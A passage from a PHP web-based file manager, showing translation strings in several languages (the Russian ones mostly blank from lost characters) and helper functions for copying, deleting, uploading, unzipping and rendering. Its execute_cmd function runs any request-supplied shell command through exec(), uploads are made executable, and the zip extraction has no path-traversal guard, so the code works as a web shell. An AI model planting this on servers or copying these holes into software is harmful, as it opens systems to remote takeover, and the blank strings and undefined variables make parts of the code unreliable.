    $it4['NoFileSel'] = 'Nessun file selezionato';
    $it4['SelAll'] = 'Tutti';
    $it4['SelNone'] = 'Nessuno';
    $it4['SelInverse'] = 'Inverti';
    $it4['Selected_s'] = 'selezionati';
    $it4['Total'] = 'totale';
    $it4['Partition'] = 'Partizione';
    $it4['RenderTime'] = 'Tempo per il render di questa pagina';
    $it4['Seconds'] = 'sec';
    $it4['ErrorReport'] = 'Report errori';

    // Turkish - by Necdet Yazilimlari
    $tr['Version'] = 'Versiyon';
    $tr['DocRoot'] = 'Kok dosya';
    $tr['FLRoot'] = 'Kok dosya yoneticisi';
    $tr['Name'] = 'Isim';
    $tr['And'] = 've';
    $tr['Enter'] = 'Giris';
    $tr['Send'] = 'Yolla';
    $tr['Refresh'] = 'Yenile';
    $tr['SaveConfig'] = 'Ayarlari kaydet';
    $tr['SavePass'] = 'Parolayi kaydet';
    $tr['SaveFile'] = 'Dosyayi kaydet';
    $tr['Save'] = 'Kaydet';
    $tr['Leave'] = 'Ayril';
    $tr['Edit'] = 'Duzenle';
    $tr['View'] = 'Goster';
    $tr['Config'] = 'Yapilandirma';
    $tr['Ren'] = 'Yeniden adlandir';
    $tr['Rem'] = 'Sil';
    $tr['Compress'] = '.Zip';
    $tr['Decompress'] = '.ZipCoz';
    $tr['ResolveIDs'] = 'Kimlikleri coz';
    $tr['Move'] = 'Tasi';
    $tr['Copy'] = 'Kopyala';
    $tr['ServerInfo'] = 'Sunucu Bilgisi';
    $tr['CreateDir'] = 'Dizin olustur';
    $tr['CreateArq'] = 'Dosya olusutur';
    $tr['ExecCmd'] = 'Komut calistir';
    $tr['Upload'] = 'Dosya yukle';
    $tr['UploadEnd'] = 'Yukleme tamamlandi';
    $tr['Perm'] = 'Izinler';
    $tr['Perms'] = 'Izinler';
    $tr['Owner'] = 'Sahip';
    $tr['Group'] = 'Grup';
    $tr['Other'] = 'Diger';
    $tr['Size'] = 'Boyut';
    $tr['Date'] = 'Tarih';
    $tr['Type'] = 'Tip';
    $tr['Free'] = 'Bos';
    $tr['Shell'] = 'Kabuk';
    $tr['Read'] = 'Oku';
    $tr['Write'] = 'Yaz';
    $tr['Exec'] = 'Calistir';
    $tr['Apply'] = 'Uygula';
    $tr['StickyBit'] = 'Sabit bit';
    $tr['Pass'] = 'Parola';
    $tr['Lang'] = 'Dil';
    $tr['File'] = 'Dosya';
    $tr['File_s'] = 'Dosya(lar)';
    $tr['Dir_s'] = 'Dizin(ler)';
    $tr['To'] = 'icin';
    $tr['Destination'] = 'Hedef';
    $tr['Configurations'] = 'Yapilandirmalar';
    $tr['JSError'] = 'JavaScript hatasi';
    $tr['NoSel'] = 'Secilen oge yok';
    $tr['SelDir'] = 'Soldaki hedef dizin agaci secin';
    $tr['TypeDir'] = 'Dizin adini girin';
    $tr['TypeArq'] = 'Dosya adini girin';
    $tr['TypeCmd'] = 'Komut girin';
    $tr['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin';
    $tr['RemSel'] = 'Secili ogeleri sil';
    $tr['NoDestDir'] = 'Secili dizin yok';
    $tr['DestEqOrig'] = 'Kokenli ve esit gidis rehberi';
    $tr['InvalidDest'] = 'Hedef dizin gecersiz';
    $tr['NoNewPerm'] = 'Izinler uygun degil';
    $tr['CopyTo'] = 'Kopya icin';
    $tr['MoveTo'] = 'Tasi icin';
    $tr['AlterPermTo'] = 'Permission secin';
    $tr['ConfExec'] = 'Yapilandirmayi onayla';
    $tr['ConfRem'] = 'Simeyi onayla';
    $tr['EmptyDir'] = 'Dizin bos';
    $tr['IOError'] = 'Hata';
    $tr['FileMan'] = 'Necdet_Yazilimlari';
    $tr['TypePass'] = 'Parolayi girin';
    $tr['InvPass'] = 'Gecersiz parola';
    $tr['ReadDenied'] = 'Okumaya erisim engellendi';
    $tr['FileNotFound'] = 'Dosya bulunamadi';
    $tr['AutoClose'] = 'Otomatik kapat';
    $tr['OutDocRoot'] = 'Kok klasor disindaki dosya';
    $tr['NoCmd'] = 'Hata: Komut haberdar degil';
    $tr['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.';
    $tr['ConfSaved'] = 'Ayarlar kaydedildi';
    $tr['PassSaved'] = 'Parola kaydedildi';
    $tr['FileDirExists'] = 'Dosya veya dizin zaten var';
    $tr['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi';
    $tr['NoReturn'] = 'Deger dondurmuyor';
    $tr['FileSent'] = 'Dosya gonderildi';
    $tr['SpaceLimReached'] = 'Disk limitine ulasildi';
    $tr['InvExt'] = 'Gecersiz uzanti';
    $tr['FileNoOverw'] = 'Dosya degistirilemiyor';
    $tr['FileOverw'] = 'Dosya degistiribiliyor';
    $tr['FileIgnored'] = 'Dosya kabul edildi';
    $tr['ChkVer'] = 'Yeni versiyonu kontrol et';
    $tr['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.';
    $tr['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.';
    $tr['ChkVerError'] = 'Baglanti hatasi';
    $tr['Website'] = 'Website';
    $tr['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin';
    $tr['NoFileSel'] = 'Secili dosya yok';
    $tr['SelAll'] = 'Hepsi';
    $tr['SelNone'] = 'Hicbiri';
    $tr['SelInverse'] = 'Ters';
    $tr['Selected_s'] = 'Secili oge(ler)';
    $tr['Total'] = 'Toplam';
    $tr['Partition'] = 'Bolme';
    $tr['RenderTime'] = 'Olusturuluyor';
    $tr['Seconds'] = 'Saniye';
    $tr['ErrorReport'] = 'Hata raporu';

	//   -   
	$ru['Version']='';
	$ru['DocRoot']=' Root ';
	$ru['FLRoot']=' ';
	$ru['Name']='';
	$ru['And']='';
	$ru['Enter']='Enter';
	$ru['Send']='';
	$ru['Refresh']='';
	$ru['SaveConfig']=' ';
	$ru['SavePass']=' ';
	$ru['SaveFile']='  ';
	$ru['Save']='';
	$ru['Leave']='';
	$ru['Edit']='';
	$ru['View']='';
	$ru['Config']='';
	$ru['Ren']='';
	$ru['Rem']='';
	$ru['Compress']='';
	$ru['Decompress']=' ';
	$ru['ResolveIDs']=' id';
	$ru['Move']='';
	$ru['Copy']='';
	$ru['ServerInfo']='  ';
	$ru['CreateDir']=' ';
	$ru['CreateArq']='  ';
	$ru['ExecCmd']='';
	$ru['Upload']='';
	$ru['UploadEnd']='';
	$ru['Perm']='';
	$ru['Perms']=' ';
	$ru['Owner']='';
	$ru['Group']='';
	$ru['Other']='';
	$ru['Size']=' ';
	$ru['Date']='';
	$ru['Type']='';
	$ru['Free']='';
	$ru['Shell']='Shell';
	$ru['Read']='';
	$ru['Write']='';
	$ru['Exec']='';
	$ru['Apply']='';
	$ru['StickyBit']='StickyBit';
	$ru['Pass']='';
	$ru['Lang']='';
	$ru['File']='';
	$ru['File_s']='..';
	$ru['Dir_s']='..';
	$ru['To']='';
	$ru['Destination']='';
	$ru['Configurations']='';
	$ru['JSError']=' JavaScript';
	$ru['NoSel']='  ';
	$ru['SelDir']='      ';
	$ru['TypeDir']='   ';
	$ru['TypeArq']='  ';
	$ru['TypeCmd']='  ';
	$ru['TypeArqComp']='   ,\\n      \\n :.. \\n nome.zip \\n nome.tar \\n nome.bzip \\n nome.gzip ';
	$ru['RemSel']='  ';
	$ru['NoDestDir']='   ';
	$ru['DestEqOrig']='     ';
	$ru['InvalidDest']='  ';
	$ru['NoNewPerm']='   ';
	$ru['CopyTo']='  ';
	$ru['MoveTo']=' ';
	$ru['AlterPermTo']='   ';
	$ru['ConfExec']='  ';
	$ru['ConfRem']=' ';
	$ru['EmptyDir']='  ';
	$ru['IOError']='I/O Error';
	$ru['FileMan']='PHP   ';
	$ru['TypePass']=' ';
	$ru['InvPass']=' ';
	$ru['ReadDenied']='  ';
	$ru['FileNotFound']='  ';
	$ru['AutoClose']='  ';
	$ru['OutDocRoot']='   DOCUMENT_ROOT';
	$ru['NoCmd']=':   ';
	$ru['ConfTrySave']='    . \\n    . ';
	$ru['ConfSaved']=' ';
	$ru['PassSaved']=' ';
	$ru['FileDirExists']='    ';
	$ru['NoPhpinfo']=' PHPInfo ';
	$ru['NoReturn']=' ';
	$ru['FileSent']=' ';
	$ru['SpaceLimReached']='  ';
	$ru['InvExt']=' ';
	$ru['FileNoOverw']='     ';
	$ru['FileOverw']=' ';
	$ru['FileIgnored']=' ';
	$ru['ChkVer']=' ';
	$ru['ChkVerAvailable']='   ,  ,   ! ';
	$ru['ChkVerNotAvailable']='  . :(';
	$ru['ChkVerError']=' . ';
	$ru['Website']='';
	$ru['SendingForm']=' , ,  ';
	$ru['NoFileSel']='  ';
	$ru['SelAll']=' ';
	$ru['SelNone']='';
	$ru['SelInverse']='';
	$ru['Selected_s']='';
	$ru['Total']='';
	$ru['Partition']=' ';
	$ru['RenderTime']='  ';
	$ru['Seconds']='';
	$ru['ErrorReport']='  ';

	// Catalan - by Pere Borr s AKA @Norl
    $cat['Version'] = 'Versi';
    $cat['DocRoot'] = 'Arrel del programa';
    $cat['FLRoot'] = 'Arrel de l`administrador d`arxius';
    $cat['Name'] = 'Nom';
    $cat['And'] = 'i';
    $cat['Enter'] = 'Entrar';
    $cat['Send'] = 'Enviar';
    $cat['Refresh'] = 'Refrescar';
    $cat['SaveConfig'] = 'Desar configuracions';
    $cat['SavePass'] = 'Desar clau';
    $cat['SaveFile'] = 'Desar Arxiu';
    $cat['Save'] = 'Desar';
    $cat['Leave'] = 'Sortir';
    $cat['Edit'] = 'Editar';
    $cat['View'] = 'Mirar';
    $cat['Config'] = 'Config.';
    $cat['Ren'] = 'Canviar nom';
    $cat['Rem'] = 'Esborrar';
    $cat['Compress'] = 'Comprimir';
    $cat['Decompress'] = 'Descomprimir';
    $cat['ResolveIDs'] = 'Resoldre IDs';
    $cat['Move'] = 'Moure';
    $cat['Copy'] = 'Copiar';
    $cat['ServerInfo'] = 'Info del Server';
    $cat['CreateDir'] = 'Crear Directori';
    $cat['CreateArq'] = 'Crear Arxiu';
    $cat['ExecCmd'] = 'Executar Comandament';
    $cat['Upload'] = 'Pujar';
    $cat['UploadEnd'] = 'Pujat amb xit';
    $cat['Perm'] = 'Perm';
    $cat['Perms'] = 'Permisos';
    $cat['Owner'] = 'Propietari';
    $cat['Group'] = 'Grup';
    $cat['Other'] = 'Altre';
    $cat['Size'] = 'Tamany';
    $cat['Date'] = 'Data';
    $cat['Type'] = 'Tipus';
    $cat['Free'] = 'lliure';
    $cat['Shell'] = 'Executar';
    $cat['Read'] = 'Llegir';
    $cat['Write'] = 'Escriure';
    $cat['Exec'] = 'Executar';
    $cat['Apply'] = 'Aplicar';
    $cat['StickyBit'] = 'Sticky Bit';
    $cat['Pass'] = 'Clau';
    $cat['Lang'] = 'Llenguatje';
    $cat['File'] = 'Arxius';
    $cat['File_s'] = 'arxiu(s)';
    $cat['Dir_s'] = 'directori(s)';
    $cat['To'] = 'a';
    $cat['Destination'] = 'Dest';
    $cat['Configurations'] = 'Configuracions';
    $cat['JSError'] = 'Error de JavaScript';
    $cat['NoSel'] = 'No hi ha items seleccionats';
    $cat['SelDir'] = 'Seleccioneu el directori de dest a l`arbre de la dreta';
    $cat['TypeDir'] = 'Escrigui el nom del directori';
    $cat['TypeArq'] = 'Escrigui el nom de l`arxiu';
    $cat['TypeCmd'] = 'Escrigui el comandament';
    $cat['TypeArqComp'] = 'Escrigui el nombre del directorio.\\nL`extensi definir  el tipus de compressi.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip';
    $cat['RemSel'] = 'ESBORRAR items seleccionats';
    $cat['NoDestDir'] = 'No s`ha seleccionat el directori de dest';
    $cat['DestEqOrig'] = 'L`origen i el dest sn iguals';
    $cat['InvalidDest'] = 'El dest del directori s inv lid';
    $cat['NoNewPerm'] = 'Els permisos no s`han pogut establir';
    $cat['CopyTo'] = 'COPIAR a';
    $cat['MoveTo'] = 'MOURE a';
    $cat['AlterPermTo'] = 'CAMBIAR PERMISOS a';
    $cat['ConfExec'] = 'Confirmar EXECUCI';
    $cat['ConfRem'] = 'Confirmar ESBORRAT';
    $cat['EmptyDir'] = 'Directori buit';
    $cat['IOError'] = 'Error I/O';
    $cat['FileMan'] = 'PHP File Manager';
    $cat['TypePass'] = 'Escrigui la clau';
    $cat['InvPass'] = 'Clau inv lida';
    $cat['ReadDenied'] = 'Accs de lectura denegat';
    $cat['FileNotFound'] = 'Arxiu no trobat';
    $cat['AutoClose'] = 'Tancar al completar';
    $cat['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT';
    $cat['NoCmd'] = 'Error: No s`ha escrit cap comandament';
    $cat['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.\\nIntenteu desar a un altre lloc';
    $cat['ConfSaved'] = 'Configuraci Desada';
    $cat['PassSaved'] = 'Clau desada';
    $cat['FileDirExists'] = 'Arxiu o directori ja existent';
    $cat['NoPhpinfo'] = 'Funci phpinfo() no habilitada';
    $cat['NoReturn'] = 'sense retorn';
    $cat['FileSent'] = 'Arxiu enviat';
    $cat['SpaceLimReached'] = 'Lmit d`espaci al disc assolit';
    $cat['InvExt'] = 'Extensi no v lida';
    $cat['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit';
    $cat['FileOverw'] = 'Arxiu sobreescrit';
    $cat['FileIgnored'] = 'Arxiu ignorat';
    $cat['ChkVer'] = 'Revisar les actualitzacions';
    $cat['ChkVerAvailable'] = 'Nova versi, feu clic aqu per descarregar';
    $cat['ChkVerNotAvailable'] = 'La vostra versi s la ms recent.';
    $cat['ChkVerError'] = 'Error de connexi.';
    $cat['Website'] = 'Lloc Web';
    $cat['SendingForm'] = 'Enviant arxius, esperi';
    $cat['NoFileSel'] = 'Cap arxiu seleccionat';
    $cat['SelAll'] = 'Tots';
    $cat['SelNone'] = 'Cap';
    $cat['SelInverse'] = 'Invers';
    $cat['Selected_s'] = 'seleccionat';
    $cat['Total'] = 'total';
    $cat['Partition'] = 'Partici';
    $cat['RenderTime'] = 'Generat en';
    $cat['Seconds'] = 'seg';
    $cat['ErrorReport'] = 'Informe d`error';

    $lang_ = $$lang;
    if (isset($lang_[$tag])) return html_encode($lang_[$tag]);
    //else return "[$tag]"; // So we can know what is missing
    return $en[$tag];
}
// +--------------------------------------------------
// | File System
// +--------------------------------------------------
function total_size($arg) {
    $total = 0;
    if (file_exists($arg)) {
        if (is_dir($arg)) {
            $handle = opendir($arg);
            while($aux = readdir($handle)) {
                if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
            }
            @closedir($handle);
        } else $total = filesize($arg);
    }
    return $total;
}
function total_delete($arg) {
    if (file_exists($arg)) {
        @chmod($arg,0755);
        if (is_dir($arg)) {
            $handle = opendir($arg);
            while($aux = readdir($handle)) {
                if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
            }
            @closedir($handle);
            rmdir($arg);
        } else unlink($arg);
    }
}
function total_copy($orig,$dest) {
    $ok = true;
    if (file_exists($orig)) {
        if (is_dir($orig)) {
            mkdir($dest,0755);
            $handle = opendir($orig);
            while(($aux = readdir($handle))&&($ok)) {
                if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
            }
            @closedir($handle);
        } else $ok = copy((string)$orig,(string)$dest);
    }
    return $ok;
}
function total_move($orig,$dest) {
    // Just why doesn't it has a MOVE alias?!
    return rename((string)$orig,(string)$dest);
}
function download(){
    global $current_dir,$filename;
    $file = $current_dir.$filename;
    if(file_exists($file)){
        $is_denied = false;
        foreach($download_ext_filter as $key=>$ext){
            if (eregi($ext,$filename)){
                $is_denied = true;
                break;
            }
        }
        if (!$is_denied){
            $size = filesize($file);
            header("Content-Type: application/save");
            header("Content-Length: $size");
            header("Content-Disposition: attachment; filename=\"$filename\"");
            header("Content-Transfer-Encoding: binary");
            if ($fh = fopen("$file", "rb")){
                fpassthru($fh);
                fclose($fh);
            } else alert(et('ReadDenied').": ".$file);
        } else alert(et('ReadDenied').": ".$file);
    } else alert(et('FileNotFound').": ".$file);
}
function execute_cmd(){
    global $cmd;
    header("Content-type: text/plain");
    if (strlen($cmd)){
        echo "# ".$cmd."\n";
        exec($cmd,$mat);
        if (count($mat)) echo trim(implode("\n",$mat));
        else echo "exec(\"$cmd\") ".et('NoReturn')."...";
    } else echo et('NoCmd');
}
function execute_file(){
    global $current_dir,$filename;
    header("Content-type: text/plain");
    $file = $current_dir.$filename;
    if(file_exists($file)){
        echo "# ".$file."\n";
        exec($file,$mat);
        if (count($mat)) echo trim(implode("\n",$mat));
    } else alert(et('FileNotFound').": ".$file);
}
function save_upload($temp_file,$filename,$dir_dest) {
    global $upload_ext_filter;
    $filename = remove_special_chars($filename);
    $file = $dir_dest.$filename;
    $filesize = filesize($temp_file);
    $is_denied = false;
    foreach($upload_ext_filter as $key=>$ext){
        if (eregi($ext,$filename)){
            $is_denied = true;
            break;
        }
    }
    if (!$is_denied){
        if (!check_limit($filesize)){
            if (file_exists($file)){
                if (unlink($file)){
                    if (copy($temp_file,$file)){
                        @chmod($file,0755);
                        $out = 6;
                    } else $out = 2;
                } else $out = 5;
            } else {
                if (copy($temp_file,$file)){
                    @chmod($file,0755);
                    $out = 1;
                } else $out = 2;
            }
        } else $out = 3;
    } else $out = 4;
    return $out;
}
function zip_extract(){
  global $cmd_arg,$current_dir,$islinux;
  $zip = zip_open($current_dir.$cmd_arg);
  if ($zip) {
    while ($zip_entry = zip_read($zip)) {
        if (zip_entry_filesize($zip_entry)) {
            $complete_path = $path.dirname(zip_entry_name($zip_entry));
            $complete_name = $path.zip_entry_name($zip_entry);
            if(!file_exists($complete_path)) {
                $tmp = '';
                foreach(explode('/',$complete_path) AS $k) {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp)) {
                        @mkdir($current_dir.$tmp, 0755);
                    }
                }
            }
            if (zip_entry_open($zip, $zip_entry, "r")) {
                if ($fd = fopen($current_dir.$complete_name, 'w')){
                    fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    fclose($fd);
                } else echo "fopen($current_dir.$complete_name) error<br>";
                zip_entry_close($zip_entry);
            } else echo "zip_entry_open($zip,$zip_entry) error<br>";
        }
    }
    zip_close($zip);
  }
}
// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------
function html_encode($str){
	global $charSet;
	$str = preg_replace(array('/&/', '/</', '/>/', '/"/'), array('&amp;', '&lt;', '&gt;', '&quot;'), $str);  // Bypass PHP to allow any charset!!
    $str = htmlentities($str, ENT_QUOTES, $charSet, false);
	return $str;
}
function rep($x,$y){
  if ($x) {
    $aux = "";
    for ($a=1;$a<=$x;$a++) $aux .= $y;
    return $aux;
  } else return "";
}
function str_zero($arg1,$arg2){
    if (strstr($arg1,"-") == false){
        $aux = intval($arg2) - strlen($arg1);
        if ($aux) return rep($aux,"0").$arg1;
        else return $arg1;
    } else {
        return "[$arg1]";
    }
}
function replace_double($sub,$str){
    $out=str_replace($sub.$sub,$sub,$str);
    while ( strlen($out) != strlen($str) ){
        $str=$out;
        $out=str_replace($sub.$sub,$sub,$str);
    }
    return $out;
}
function remove_special_chars($str){
    $str = trim($str);
    $str = strtr($str," !@#%&*()[]{}+=?",
                      "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
    $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
    return $str;
}
function format_path($str){
    global $islinux;
    $str = trim($str);
    $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
    $done = false;
    while (!$done) {
        $str2 = str_replace("//","/",$str);
        if (strlen($str) == strlen($str2)) $done = true;
        else $str = $str2;
    }
    $tam = strlen($str);
    if ($tam){
        $last_char = $tam - 1;
        if ($str[$last_char] != "/") $str .= "/";
        if (!$islinux) $str = ucfirst($str);
    }
    return $str;
}
function array_csort() {
  $args = func_get_args();
  $marray = array_shift($args);
  $msortline = "return(array_multisort(";
   foreach ($args as $arg) {
       $i++;
       if (is_string($arg)) {
          foreach ($marray as $row) {
               $sortarr[$i][] = $row[$arg];
           }
       } else {
          $sortarr[$i] = $arg;
       }
       $msortline .= "\$sortarr[".$i."],";
   }
   $msortline .= "\$marray));";
   eval($msortline);
   return $marray;
}
function show_perms( $P ) {
   $sP = "<b>";
   if($P & 0x1000) $sP .= 'p';            // FIFO pipe
   elseif($P & 0x2000) $sP .= 'c';        // Character special
   elseif($P & 0x4000) $sP .= 'd';        // Directory
   elseif($P & 0x6000) $sP .= 'b';        // Block special
   elseif($P & 0x8000) $sP .= '&minus;';  // Regular
   elseif($P & 0xA000) $sP .= 'l';        // Symbolic Link
   elseif($P & 0xC000) $sP .= 's';        // Socket
   else $sP .= 'u';                       // UNKNOWN
   $sP .= "</b>";
   // owner - group - others
   $sP .= (($P & 0x0100) ? 'r' : '&minus;') . (($P & 0x0080) ? 'w' : '&minus;') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '&minus;'));
   $sP .= (($P & 0x0020) ? 'r' : '&minus;') . (($P & 0x0010) ? 'w' : '&minus;') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '&minus;'));
   $sP .= (($P & 0x0004) ? 'r' : '&minus;') . (($P & 0x0002) ? 'w' : '&minus;') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '&minus;'));
   return $sP;
}
function format_size($arg) {
    if ($arg>0){
        $j = 0;
        $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
        while ($arg >= pow(1024,$j)) ++$j;
        return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
    } else return "0 bytes";
}
function get_size($file) {
    return format_size(filesize($file));
}
function check_limit($new_filesize=0) {
    global $fm_current_root;
    global $quota_mb;
    if($quota_mb){
        $total = total_size($fm_current_root);
        if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
    }
    return false;
}
function get_user($arg) {
    global $mat_passwd;
    $aux = "x:".trim($arg).":";
    for($x=0;$x<count($mat_passwd);$x++){
        if (strstr($mat_passwd[$x],$aux)){
         $mat = explode(":",$mat_passwd[$x]);
         return $mat[0];
        }
    }
    return $arg;
}
function get_group($arg) {
    global $mat_group;
    $aux = "x:".trim($arg).":";
    for($x=0;$x<count($mat_group);$x++){
        if (strstr($mat_group[$x],$aux)){
         $mat = explode(":",$mat_group[$x]);
         return $mat[0];
        }
    }
    return $arg;
}
function uppercase($str){
	global $charset;
    return mb_strtoupper($str, $charset);
}
function lowercase($str){
	global $charset;
    return mb_strtolower($str, $charset);
}
// +--------------------------------------------------
// | Interface
// +--------------------------------------------------
function html_header($header=""){
    global $charset,$fm_color;
    echo "
	<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
	<html xmlns=\"http://www.w3.org/1999/xhtml\">
    <head>    
    <meta http-equiv=\"content-type\" content=\"text/html; charset=".$charset."\" />	
	<title>...:::: ".et('FileMan')."</title>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function Is(){
            this.appname = navigator.appName;
            this.appversion = navigator.appVersion;
            this.platform = navigator.platform;
            this.useragent = navigator.userAgent.toLowerCase();
            this.ie = ( this.appname == 'Microsoft Internet Explorer' );
            if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
                this.sisop = 'mac';
            } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
                this.sisop = 'windows';
            } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
                this.sisop = 'linux';
            }
        }
        var is = new Is();
        function enterSubmit(keypressEvent,submitFunc){
            var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
            if( kCode == 13) eval(submitFunc);
        }
        function getCookieVal (offset) {
            var endstr = document.cookie.indexOf (';', offset);
            if (endstr == -1) endstr = document.cookie.length;
            return unescape(document.cookie.substring(offset, endstr));
        }
        function getCookie (name) {
            var arg = name + '=';
            var alen = arg.length;
            var clen = document.cookie.length;
            var i = 0;
            while (i < clen) {
                var j = i + alen;
                if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
                i = document.cookie.indexOf(' ', i) + 1;
                if (i == 0) break;
            }
            return null;
        }
        function setCookie (name, value, expires) {
            var argv = setCookie.arguments;
            var argc = setCookie.arguments.length;
            var expires = (argc > 2) ? argv[2] : null;
            var path = (argc > 3) ? argv[3] : null;
            var domain = (argc > 4) ? argv[4] : null;
            var secure = (argc > 5) ? argv[5] : false;
            document.cookie = name + '=' + escape (value) +
            ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
            ((path == null) ? '' : ('; path=' + path)) +
            ((domain == null) ? '' : ('; domain=' + domain)) +
            ((secure == true) ? '; secure' : '');
        }
        function delCookie (name) {
            var exp = new Date();
            exp.setTime (exp.getTime() - 1);
            var cval = getCookie (name);
            document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
        }
        var frameWidth, frameHeight;
        function getFrameSize(){
            if (self.innerWidth){
                frameWidth = self.innerWidth;
                frameHeight = self.innerHeight;
            }else if (document.documentElement && document.documentElement.clientWidth){
                frameWidth = document.documentElement.clientWidth;
                frameHeight = document.documentElement.clientHeight;
            }else if (document.body){
                frameWidth = document.body.clientWidth;
                frameHeight = document.body.clientHeight;
            }else return false;
            return true;
        }
        getFrameSize();
    //-->
    </script>
    $header
    </head>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        var W = screen.width;
        var H = screen.height;
        var FONTSIZE = 0;
        switch (W){
            case 640:
                FONTSIZE = 8;
            break;
            case 800:
                FONTSIZE = 10;
            break;
            case 1024:
                FONTSIZE = 12;
            break;
            default:
                FONTSIZE = 14;
            break;
        }
    ";
    echo replace_double(" ",str_replace(chr(13),"",str_replace(chr(10),"","
        document.writeln('
        <style type=\"text/css\">
        body {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
            background-color: #".$fm_color['Bg'].";
        }
        table {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
            cursor: default;
        }
        input {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
        }
        textarea {
            font-family : Courier;
            font-size: 12px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
        }
        a {
            font-family : Arial;
            font-size : '+FONTSIZE+'px;
            font-weight : bold;
            text-decoration: none;
            color: #".$fm_color['Text'].";
        }
        a:link {
            color: #".$fm_color['Text'].";
        }
        a:visited {
            color: #".$fm_color['Text'].";
        }
        a:hover {
            color: #".$fm_color['Link'].";
        }
        a:active {
            color: #".$fm_color['Text'].";
        }
        tr.entryUnselected {
            background-color: #".$fm_color['Entry'].";
        }
        tr.entryUnselected:hover {
            background-color: #".$fm_color['Over'].";
        }
        tr.entrySelected {
            background-color: #".$fm_color['Mark'].";
        }
        </style>
        ');
    ")));
    echo "
    //-->
    </script>
    ";
}
function reloadframe($ref,$frame_number,$Plus=""){
    global $current_dir,$path_info;
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        ".$ref.".frame".$frame_number.".location.href='".$path_info["basename"]."?frame=".$frame_number."&current_dir=".$current_dir.$Plus."';
    //-->
    </script>
    ";
}
function alert($arg){
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        alert('$arg');
    //-->
    </script>
    ";
}
function tree($dir_before,$dir_current,$indice){
    global $fm_current_root, $current_dir, $islinux;
    global $expanded_dir_list;
    $indice++;
    $num_dir = 0;
    $dir_name = str_replace($dir_before,"",$dir_current);
    $dir_before = str_replace("//","/",$dir_before);
    $dir_current = str_replace("//","/",$dir_current);
    $is_denied = false;
    if ($islinux) {
        $denied_list = "/proc#/dev";
        $mat = explode("#",$denied_list);
        foreach($mat as $key => $val){
            if ($dir_current == $val){
                $is_denied = true;
                break;
            }
        }
        unset($mat);
    }
    if (!$is_denied){
        if ($handle = @opendir($dir_current)){
            // Permitido
            while ($file = readdir($handle)){
                if ($file != "." && $file != ".." && is_dir("$dir_current/$file"))
                    $mat_dir[] = $file;
            }
            @closedir($handle);
            if (count($mat_dir)){
                sort($mat_dir,SORT_STRING);
                // with Sub-dir
                if ($indice != 0){
                    for ($aux=1;$aux<$indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
                }
                if ($dir_before != $dir_current){
                    if (strstr($expanded_dir_list,":$dir_current/$dir_name")) $op_str = "[]";
                    else $op_str = "[+]";
                    echo "<nobr><a href=\"JavaScript:go_dir('$dir_current/$dir_name')\">$op_str</a> <a href=\"JavaScript:go('$dir_current')\">$dir_name</a></nobr><br>\n";
                } else {
                    echo "<nobr><a href=\"JavaScript:go('$dir_current')\">$fm_current_root</a></nobr><br>\n";
                }
                for ($x=0;$x<count($mat_dir);$x++){
                    if (($dir_before == $dir_current)||(strstr($expanded_dir_list,":$dir_current/$dir_name"))){
                        tree($dir_current."/",$dir_current."/".$mat_dir[$x],$indice);
                    } else flush();
                }
            } else {
              // no Sub-dir
              if ($dir_before != $dir_current){
                for ($aux=1;$aux<$indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
                echo "<b>[&nbsp;&nbsp;]</b>";
                echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $dir_name</a></nobr><br>\n";
              } else {
